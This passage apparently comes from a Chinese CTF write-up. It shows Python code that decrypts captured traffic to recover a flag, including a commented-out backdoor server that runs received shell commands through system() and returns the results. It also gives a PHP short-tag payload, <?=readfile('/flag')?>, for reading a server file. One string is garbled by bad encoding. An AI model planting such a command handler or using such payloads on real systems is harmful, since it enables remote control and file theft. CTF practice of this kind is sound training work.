type=socket.SOCK_STREAM) # socket_server.bind((ip, port)) # socket_server.listen(1) # while True: # conn, addr = socket_server.accept() # with conn: # print("connect::", addr) # try: # while True: # data = conn.recv(102400) # # print("server recevie peername and data:", conn.getpeername(), data.decode()) # if data: # data = data.decode() # data = decrypt(data, key) # data = json.loads(data) # if data["opcode"] == "shell": # print("shellCMD::", data["msg"]) # res = system(data["msg"]) # print("res::", res) # conn.sendall(encrypt(res, key).encode()) # else: # break # except ConnectionResetError as e: # print("猫驴聹莽篓聥猫驴聻忙聨楼忙聳颅氓录聙") data = "16c3b2c295c3be04c29cc29fc3a90cc39ec2a3c39937c391c3a7c3811cc38bc3a0c39b29c29ac2b1c3b830c3b2c286c3a13cc38ac296c38d13c3a2c29dc3920bc3bac2a8c2bb22c29bc287c3a328c3afc29cc3bd27c390c3a6c38110c381c2a5c381" timestamp = 1705562796.602401000 data = bytes.fromhex(data) data = data.decode('utf-8') result = decrypt(data, key, timestamp) print(result) # data = json.loads(data) # if data["opcode"] == "shell": # print("shellCMD::", data["msg"]) # res = system(data["msg"]) # print("res::", res) if __name__ == '__main__': main() # 运行结果:flag{3741b40e-3185-4a9a-80a6-83403e4942fc}
直接这里传一个短标签:<?=readfile('/flag')?>

直接读flag

难蚌

Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。